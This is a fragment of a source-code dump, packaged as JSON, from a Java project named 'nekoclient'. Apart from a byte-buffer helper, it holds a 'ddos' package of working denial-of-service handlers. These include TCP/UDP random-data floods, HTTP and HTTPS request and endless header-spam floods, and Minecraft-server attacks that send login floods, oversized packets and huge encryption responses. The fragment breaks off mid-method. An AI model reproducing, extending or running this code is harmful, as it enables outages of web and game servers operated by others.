    "content": "package dev.neko.nekoclient.api.buffer;\r\n\r\nimport java.nio.Buffer;\r\nimport java.nio.ByteBuffer;\r\nimport java.util.Objects;\r\n\r\npublic class StreamByteBuffer {\r\n   private ByteBuffer buffer = ByteBuffer.allocate(0);\r\n\r\n   public StreamByteBuffer put(byte b) {\r\n      this.expand(1);\r\n      this.buffer.put(b);\r\n      return this;\r\n   }\r\n\r\n   public StreamByteBuffer put(byte[] bytes) {\r\n      this.expand(bytes.length);\r\n      this.buffer.put(bytes);\r\n      return this;\r\n   }\r\n\r\n   public StreamByteBuffer putLong(long l) {\r\n      this.expand(8);\r\n      this.buffer.putLong(l);\r\n      return this;\r\n   }\r\n\r\n   public StreamByteBuffer putInt(int i) {\r\n      this.expand(4);\r\n      this.buffer.putInt(i);\r\n      return this;\r\n   }\r\n\r\n   public StreamByteBuffer putDouble(double d) {\r\n      this.expand(8);\r\n      this.buffer.putDouble(d);\r\n      return this;\r\n   }\r\n\r\n   public StreamByteBuffer putChar(char c) {\r\n      this.expand(2);\r\n      this.buffer.putChar(c);\r\n      return this;\r\n   }\r\n\r\n   public StreamByteBuffer putShort(short s) {\r\n      this.expand(2);\r\n      this.buffer.putShort(s);\r\n      return this;\r\n   }\r\n\r\n   public StreamByteBuffer putFloat(float f) {\r\n      this.expand(4);\r\n      this.buffer.putFloat(f);\r\n      return this;\r\n   }\r\n\r\n   public StreamByteBuffer putBoolean(boolean b) {\r\n      return this.put((byte)(b ? 1 : 0));\r\n   }\r\n\r\n   public StreamByteBuffer putString(String string) {\r\n      return this.putBytes(Objects.isNull(string) ? null : string.getBytes());\r\n   }\r\n\r\n   public StreamByteBuffer putBytes(byte[] bytes) {\r\n      if (Objects.isNull(bytes)) {\r\n         this.putInt(-1);\r\n      } else {\r\n         this.putInt(bytes.length);\r\n         this.put(bytes);\r\n      }\r\n\r\n      return this;\r\n   }\r\n\r\n   public StreamByteBuffer putUnsignedShort(int s) {\r\n      this.expand(2);\r\n      this.buffer.putShort((short)(s & 65535));\r\n      return this;\r\n   }\r\n\r\n   public void expand(int expansion) {\r\n      ByteBuffer buffer = ByteBuffer.allocate(this.buffer.capacity() + expansion);\r\n      ((Buffer)this.buffer).flip();\r\n      buffer.put(this.buffer);\r\n      this.buffer = buffer;\r\n   }\r\n\r\n   public ByteBuffer getBuffer() {\r\n      return this.buffer;\r\n   }\r\n\r\n   public ByteBuffer flip() {\r\n      ((Buffer)this.buffer).flip();\r\n      return this.buffer;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/Method.java",
    "content": "package dev.neko.nekoclient.api.ddos;\r\n\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.general.FloodMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.http.HttpBodyMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.http.HttpDefaultMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.http.HttpHeaderMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.https.HttpsBodyMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.https.HttpsDefaultMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.https.HttpsHeaderMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftEncryptionMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftLargePacketMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftLoginMethod;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft.MinecraftStatusPingMethod;\r\nimport java.util.function.Supplier;\r\n\r\npublic enum Method {\r\n   FLOOD(FloodMethod::new),\r\n   HTTP_DEFAULT(HttpDefaultMethod::new),\r\n   HTTP_BODY(HttpBodyMethod::new),\r\n   HTTP_HEADER(HttpHeaderMethod::new),\r\n   HTTPS_DEFAULT(HttpsDefaultMethod::new),\r\n   HTTPS_BODY(HttpsBodyMethod::new),\r\n   HTTPS_HEADER(HttpsHeaderMethod::new),\r\n   MINECRAFT_STATUS_PING(MinecraftStatusPingMethod::new),\r\n   MINECRAFT_LOGIN(MinecraftLoginMethod::new),\r\n   MINECRAFT_LARGE_PACKET(MinecraftLargePacketMethod::new),\r\n   MINECRAFT_ENCRYPTION(MinecraftEncryptionMethod::new);\r\n\r\n   private final Supplier<MethodHandler> handler;\r\n\r\n   private Method(Supplier<MethodHandler> handler) {\r\n      this.handler = handler;\r\n   }\r\n\r\n   public final MethodHandler createHandler() {\r\n      return this.handler.get();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/Protocol.java",
    "content": "package dev.neko.nekoclient.api.ddos;\r\n\r\npublic enum Protocol {\r\n   TCP,\r\n   UDP;\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/ThreadsUnit.java",
    "content": "package dev.neko.nekoclient.api.ddos;\r\n\r\npublic enum ThreadsUnit {\r\n   THREADS,\r\n   THREADS_PER_CORE;\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/BufferFloodingMethodHandler.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler;\r\n\r\nimport java.io.IOException;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.ByteChannel;\r\nimport java.util.function.Supplier;\r\n\r\npublic abstract class BufferFloodingMethodHandler extends WriteMethodHandler {\r\n   protected ByteBuffer buffer;\r\n\r\n   @Override\r\n   public void handle(ByteChannel channel, Supplier<Boolean> connected) throws IOException {\r\n      while(connected.get()) {\r\n         channel.write(this.buffer.duplicate());\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/BufferWritingMethodHandler.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler;\r\n\r\nimport java.io.IOException;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.ByteChannel;\r\nimport java.util.function.Supplier;\r\n\r\npublic abstract class BufferWritingMethodHandler extends WriteMethodHandler {\r\n   protected ByteBuffer buffer;\r\n\r\n   @Override\r\n   public void handle(ByteChannel channel, Supplier<Boolean> connected) throws IOException {\r\n      channel.write(this.buffer.duplicate());\r\n      channel.close();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/MethodHandler.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic interface MethodHandler {\r\n   void init(Protocol var1, InetSocketAddress var2, String var3, JsonObject var4) throws IOException, IllegalArgumentException;\r\n\r\n   void run(Protocol var1, InetSocketAddress var2) throws IOException;\r\n\r\n   default void cleanup() {\r\n   }\r\n\r\n   default InetSocketAddress transformAddress(InetSocketAddress address, String host) {\r\n      return address;\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/WriteMethodHandler.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler;\r\n\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.channels.ByteChannel;\r\nimport java.nio.channels.DatagramChannel;\r\nimport java.nio.channels.SocketChannel;\r\nimport java.util.function.Supplier;\r\n\r\npublic abstract class WriteMethodHandler implements MethodHandler {\r\n   public abstract void handle(ByteChannel var1, Supplier<Boolean> var2) throws IOException;\r\n\r\n   @Override\r\n   public void run(Protocol protocol, InetSocketAddress address) throws IOException {\r\n      switch(protocol) {\r\n         case TCP:\r\n            SocketChannel socketChannel = SocketChannel.open();\r\n            socketChannel.socket().setSoTimeout(20000);\r\n            socketChannel.connect(address);\r\n            if (socketChannel.finishConnect()) {\r\n               this.handle(socketChannel, socketChannel::isConnected);\r\n            }\r\n            break;\r\n         case UDP:\r\n            DatagramChannel datagramChannel = DatagramChannel.open();\r\n            datagramChannel.socket().setSoTimeout(20000);\r\n            datagramChannel.connect(address);\r\n            this.handle(datagramChannel, datagramChannel::isConnected);\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public void cleanup() {\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/general/FloodMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.general;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.BufferWritingMethodHandler;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.ByteBuffer;\r\nimport java.util.Random;\r\n\r\npublic class FloodMethod extends BufferWritingMethodHandler {\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) {\r\n      byte[] bytes = new byte[10024];\r\n      new Random().nextBytes(bytes);\r\n      this.buffer = ByteBuffer.wrap(bytes);\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/http/HttpBodyMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.http;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.BufferWritingMethodHandler;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.Buffer;\r\nimport java.nio.ByteBuffer;\r\nimport java.util.Objects;\r\nimport java.util.Random;\r\n\r\npublic class HttpBodyMethod extends BufferWritingMethodHandler {\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException {\r\n      byte[] content = new byte[100000];\r\n      new Random().nextBytes(content);\r\n      String host = options.getString(\"host\", originalHost);\r\n      String method = options.getString(\"method\", \"GET\");\r\n      String path = options.getString(\"path\", \"/\");\r\n      String contentType = options.getString(\"contentType\", null);\r\n      String accept = options.getString(\"accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\");\r\n      String userAgent = options.getString(\"userAgent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0\");\r\n      StringBuilder request = new StringBuilder()\r\n         .append(method)\r\n         .append(\" \")\r\n         .append(path)\r\n         .append(\" \")\r\n         .append(\"HTTP/1.1\")\r\n         .append(\"\\r\\n\")\r\n         .append(\"Accept: \")\r\n         .append(accept)\r\n         .append(\"\\r\\n\")\r\n         .append(\"Accept-Language: en-US,en;q=0.5\")\r\n         .append(\"\\r\\n\")\r\n         .append(\"User-Agent: \")\r\n         .append(userAgent)\r\n         .append(\"\\r\\n\")\r\n         .append(\"Connection: keep-alive\")\r\n         .append(\"\\r\\n\")\r\n         .append(\"Content-Length: \")\r\n         .append(content.length)\r\n         .append(\"\\r\\n\")\r\n         .append(\"Host: \")\r\n         .append(host)\r\n         .append(\"\\r\\n\");\r\n      if (Objects.nonNull(contentType)) {\r\n         request.append(\"Content-Type: \").append(contentType).append(\"\\r\\n\");\r\n      }\r\n\r\n      request.append(\"\\r\\n\");\r\n      byte[] requestBytes = request.toString().getBytes();\r\n      this.buffer = ByteBuffer.allocate(requestBytes.length + content.length);\r\n      this.buffer.put(requestBytes);\r\n      this.buffer.put(content);\r\n      ((Buffer)this.buffer).flip();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/http/HttpDefaultMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.http;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.BufferWritingMethodHandler;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.ByteBuffer;\r\n\r\npublic class HttpDefaultMethod extends BufferWritingMethodHandler {\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException {\r\n      String host = options.getString(\"host\", originalHost);\r\n      String method = options.getString(\"method\", \"GET\");\r\n      String path = options.getString(\"path\", \"/\");\r\n      String accept = options.getString(\"accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\");\r\n      String userAgent = options.getString(\"userAgent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0\");\r\n      this.buffer = ByteBuffer.wrap(\r\n         (method\r\n               + \" \"\r\n               + path\r\n               + \" \"\r\n               + \"HTTP/1.1\"\r\n               + \"\\r\\n\"\r\n               + \"Accept: \"\r\n               + accept\r\n               + \"\\r\\n\"\r\n               + \"Accept-Language: en-US,en;q=0.5\"\r\n               + \"\\r\\n\"\r\n               + \"User-Agent: \"\r\n               + userAgent\r\n               + \"\\r\\n\"\r\n               + \"Connection: keep-alive\"\r\n               + \"\\r\\n\"\r\n               + \"Host: \"\r\n               + host\r\n               + \"\\r\\n\"\r\n               + \"\\r\\n\")\r\n            .getBytes()\r\n      );\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/http/HttpHeaderMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.http;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.WriteMethodHandler;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.ByteChannel;\r\nimport java.util.Arrays;\r\nimport java.util.function.Supplier;\r\n\r\npublic class HttpHeaderMethod extends WriteMethodHandler {\r\n   private ByteBuffer firstBuffer;\r\n   private ByteBuffer spamBuffer;\r\n\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IOException {\r\n      String method = options.getString(\"method\", \"GET\");\r\n      String path = options.getString(\"path\", \"/\");\r\n      String header = options.getString(\"header\", \"User-Agent\");\r\n      this.firstBuffer = ByteBuffer.wrap((method + \" \" + path + \" \" + \"HTTP/1.1\" + \"\\r\\n\" + header + \": \").getBytes());\r\n      byte[] bytes = new byte[10000];\r\n      Arrays.fill(bytes, (byte)97);\r\n      this.spamBuffer = ByteBuffer.wrap(bytes);\r\n   }\r\n\r\n   @Override\r\n   public void handle(ByteChannel channel, Supplier<Boolean> connected) throws IOException {\r\n      channel.write(this.firstBuffer.duplicate());\r\n\r\n      while(connected.get()) {\r\n         channel.write(this.spamBuffer.duplicate());\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/https/HttpsBodyMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.https;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.ssl.SSLBufferWritingMethodHandler;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic class HttpsBodyMethod extends SSLBufferWritingMethodHandler {\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException, IllegalArgumentException {\r\n      String host = options.getString(\"host\", originalHost);\r\n      String method = options.getString(\"method\", \"GET\");\r\n      String path = options.getString(\"path\", \"/\");\r\n      String accept = options.getString(\"accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\");\r\n      String userAgent = options.getString(\"userAgent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0\");\r\n      this.buffer = (method\r\n            + \" \"\r\n            + path\r\n            + \" \"\r\n            + \"HTTP/1.1\"\r\n            + \"\\r\\n\"\r\n            + \"Accept: \"\r\n            + accept\r\n            + \"\\r\\n\"\r\n            + \"Accept-Language: en-US,en;q=0.5\"\r\n            + \"\\r\\n\"\r\n            + \"User-Agent: \"\r\n            + userAgent\r\n            + \"\\r\\n\"\r\n            + \"Connection: close\"\r\n            + \"\\r\\n\"\r\n            + \"Host: \"\r\n            + host\r\n            + \"\\r\\n\"\r\n            + \"\\r\\n\")\r\n         .getBytes();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/https/HttpsDefaultMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.https;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.ssl.SSLBufferWritingMethodHandler;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic class HttpsDefaultMethod extends SSLBufferWritingMethodHandler {\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String originalHost, JsonObject options) throws IOException, IllegalArgumentException {\r\n      String host = options.getString(\"host\", originalHost);\r\n      String method = options.getString(\"method\", \"GET\");\r\n      String path = options.getString(\"path\", \"/\");\r\n      String accept = options.getString(\"accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\");\r\n      String userAgent = options.getString(\"userAgent\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0\");\r\n      this.buffer = (method\r\n            + \" \"\r\n            + path\r\n            + \" \"\r\n            + \"HTTP/1.1\"\r\n            + \"\\r\\n\"\r\n            + \"Accept: \"\r\n            + accept\r\n            + \"\\r\\n\"\r\n            + \"Accept-Language: en-US,en;q=0.5\"\r\n            + \"\\r\\n\"\r\n            + \"User-Agent: \"\r\n            + userAgent\r\n            + \"\\r\\n\"\r\n            + \"Connection: close\"\r\n            + \"\\r\\n\"\r\n            + \"Host: \"\r\n            + host\r\n            + \"\\r\\n\"\r\n            + \"\\r\\n\")\r\n         .getBytes();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/https/HttpsHeaderMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.https;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.ssl.SSLWriteMethodHandler;\r\nimport java.io.IOException;\r\nimport java.io.OutputStream;\r\nimport java.net.InetSocketAddress;\r\nimport java.util.Arrays;\r\nimport javax.net.ssl.SSLSocket;\r\n\r\npublic class HttpsHeaderMethod extends SSLWriteMethodHandler {\r\n   private byte[] firstBuffer;\r\n   private byte[] spamBuffer;\r\n\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IOException {\r\n      String method = options.getString(\"method\", \"GET\");\r\n      String path = options.getString(\"path\", \"/\");\r\n      String header = options.getString(\"header\", \"User-Agent\");\r\n      this.firstBuffer = (method + \" \" + path + \" \" + \"HTTP/1.1\" + \"\\r\\n\" + header + \": \").getBytes();\r\n      this.spamBuffer = new byte[10000];\r\n      Arrays.fill(this.spamBuffer, (byte)97);\r\n   }\r\n\r\n   @Override\r\n   public void handle(SSLSocket socket) throws IOException {\r\n      OutputStream outputStream = socket.getOutputStream();\r\n      outputStream.write(this.firstBuffer);\r\n\r\n      while(socket.isConnected()) {\r\n         outputStream.write(this.spamBuffer);\r\n      }\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftEncryptionMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.State;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.BytesType;\r\nimport java.io.IOException;\r\nimport java.math.BigInteger;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.SocketChannel;\r\nimport java.security.SecureRandom;\r\nimport java.util.Objects;\r\nimport java.util.UUID;\r\n\r\npublic class MinecraftEncryptionMethod extends MinecraftMethodHandler {\r\n   private boolean waitForRequest;\r\n   private ByteBuffer handshakePacket;\r\n   private ByteBuffer encryptionResponsePacket;\r\n   private final SecureRandom random = new SecureRandom();\r\n\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {\r\n      super.init(protocol, address, host, options);\r\n      this.waitForRequest = options.getBoolean(\"waitForRequest\", false);\r\n      this.handshakePacket = this.createHandshakePacket(this.protocolVersion, this.host, this.port, State.LOGIN);\r\n      byte[] bytes = new byte[1048560];\r\n      this.random.nextBytes(bytes);\r\n      this.encryptionResponsePacket = this.createPacket(1, new Type[]{new BytesType(bytes), new BytesType(bytes)});\r\n   }\r\n\r\n   @Override\r\n   public void handle(SocketChannel channel) throws IOException {\r\n      channel.write(this.handshakePacket.duplicate());\r\n      channel.write(this.createLoginStartPacket(new BigInteger(64, this.random).toString(16), UUID.randomUUID()));\r\n      if (!this.waitForRequest || Objects.equals(this.readPacket(channel).getId(), 1)) {\r\n         channel.write(this.encryptionResponsePacket.duplicate());\r\n      }\r\n\r\n      channel.close();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftLargePacketMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.VarIntType;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.Buffer;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.SocketChannel;\r\nimport java.util.Arrays;\r\n\r\npublic class MinecraftLargePacketMethod extends MinecraftMethodHandler {\r\n   private ByteBuffer buffer;\r\n\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {\r\n      VarIntType packetLength = new VarIntType(2097151);\r\n      this.buffer = ByteBuffer.allocate(packetLength.size() + 2097151);\r\n      packetLength.write(this.buffer);\r\n      byte[] zeros = new byte[2097151];\r\n      Arrays.fill(zeros, (byte)0);\r\n      this.buffer.put(zeros);\r\n      ((Buffer)this.buffer).flip();\r\n   }\r\n\r\n   @Override\r\n   public void handle(SocketChannel channel) throws IOException {\r\n      channel.write(this.buffer);\r\n      channel.close();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftLoginMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.State;\r\nimport java.io.IOException;\r\nimport java.math.BigInteger;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.SocketChannel;\r\nimport java.security.SecureRandom;\r\nimport java.util.UUID;\r\n\r\npublic class MinecraftLoginMethod extends MinecraftMethodHandler {\r\n   private ByteBuffer buffer;\r\n   private final SecureRandom random = new SecureRandom();\r\n\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {\r\n      super.init(protocol, address, host, options);\r\n      this.buffer = this.createHandshakePacket(this.protocolVersion, this.host, this.port, State.LOGIN);\r\n   }\r\n\r\n   @Override\r\n   public void handle(SocketChannel channel) throws IOException {\r\n      channel.write(this.buffer.duplicate());\r\n      channel.write(this.createLoginStartPacket(new BigInteger(64, this.random).toString(16), UUID.randomUUID()));\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/impl/minecraft/MinecraftStatusPingMethod.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.impl.minecraft;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.MinecraftMethodHandler;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.State;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.Buffer;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.SocketChannel;\r\n\r\npublic class MinecraftStatusPingMethod extends MinecraftMethodHandler {\r\n   private ByteBuffer buffer;\r\n\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {\r\n      super.init(protocol, address, host, options);\r\n      ByteBuffer handshake = this.createHandshakePacket(this.protocolVersion, this.host, this.port, State.STATUS);\r\n      ByteBuffer statusRequest = this.createPacket(0, new Type[0]);\r\n      ByteBuffer pingRequest = this.createPacket(1, new Type[0]);\r\n      this.buffer = ByteBuffer.allocate(handshake.capacity() + statusRequest.capacity() + pingRequest.capacity());\r\n      this.buffer.put(handshake);\r\n      this.buffer.put(statusRequest);\r\n      this.buffer.put(pingRequest);\r\n      ((Buffer)this.buffer).flip();\r\n   }\r\n\r\n   @Override\r\n   public void handle(SocketChannel channel) throws IOException {\r\n      channel.write(this.buffer.duplicate());\r\n      channel.close();\r\n   }\r\n}\r\n"
  },
  {
    "path": "dev/neko/nekoclient/api/ddos/impl/handler/minecraft/MinecraftMethodHandler.java",
    "content": "package dev.neko.nekoclient.api.ddos.impl.handler.minecraft;\r\n\r\nimport com.eclipsesource.json.JsonObject;\r\nimport dev.neko.nekoclient.api.ddos.Protocol;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.Type;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.BooleanType;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.StringType;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.UUIDType;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.UnsignedShortType;\r\nimport dev.neko.nekoclient.api.ddos.impl.handler.minecraft.type.impl.VarIntType;\r\nimport dev.neko.nekoclient.utils.DNSUtil;\r\nimport dev.neko.nekoclient.utils.ObjectUtil;\r\nimport java.io.IOException;\r\nimport java.net.InetSocketAddress;\r\nimport java.nio.Buffer;\r\nimport java.nio.ByteBuffer;\r\nimport java.nio.channels.SocketChannel;\r\nimport java.util.Objects;\r\nimport java.util.UUID;\r\n\r\npublic abstract class MinecraftMethodHandler implements MethodHandler {\r\n   protected ProtocolVersion protocolVersion;\r\n   protected String host;\r\n   protected int port;\r\n   protected boolean forceClose;\r\n\r\n   public abstract void handle(SocketChannel var1) throws IOException;\r\n\r\n   @Override\r\n   public void init(Protocol protocol, InetSocketAddress address, String host, JsonObject options) throws IllegalArgumentException {\r\n      this.protocolVersion = ProtocolVersion.valueOf(options.getString(\"protocolVersion\", \"V1_19_4\"));\r\n      this.forceClose = options.getBoolean(\"forceClose\", false);\r\n      this.host = host;\r\n      this.port = address.getPort();\r\n   }\r\n\r\n   @Override\r\n   public InetSocketAddress transformAddress(InetSocketAddress address, String host) {\r\n      if (!Objects.equals(address.getPort(), 25565)) {\r\n         return MethodHandler.super.transformAddress(address, host);\r\n      } else {\r\n         DNSUtil.DNSEntry entry = ObjectUtil.requireNonExceptionElse(() -> DNSUtil.resolveMinecraft(host), null);\r\n         return Objects.isNull(entry) ? MethodHandler.super.transformAddress(address, host) : new InetSocketAddress(entry.getHost(), entry.getPort());\r\n      }\r\n   }\r\n\r\n   @Override\r\n   public void run(Protocol protocol, InetSocketAddress address) throws IOException {\r\n      if (!Objects.equals(protocol, Protocol.TCP)) {\r\n         throw new IllegalArgumentException(\"Unsupported protocol!\");\r\n      } else {\r\n         SocketChannel channel = SocketChannel.open();\r\n         channel.connect(address);\r\n         if (this.forceClose) {\r\n            channel.socket().setSoLinger(true, 0);\r\n         }\r\n\r\n         this.handle(channel);\r\n      }\r\n   }\r\n\r\n   public ByteBuffer createHandshakePacket(ProtocolVersion protocolVersion, String host, int port, State nextState) {\r\n      return this.createPacket(\r\n         0, new VarIntType(protocolVersion.getVersion()), new StringType(host), new UnsignedShortType(port), new VarIntType(nextState.getId())\r\n      );\r\n   }\r\n\r\n   public ByteBuffer createLoginStartPacket(String username, UUID uuid) {\r\n      if (this.protocolVersion.isHigherOrEqualTo(ProtocolVersion.V1_19_3)) {\r\n         return Objects.isNull(uuid)\r\n           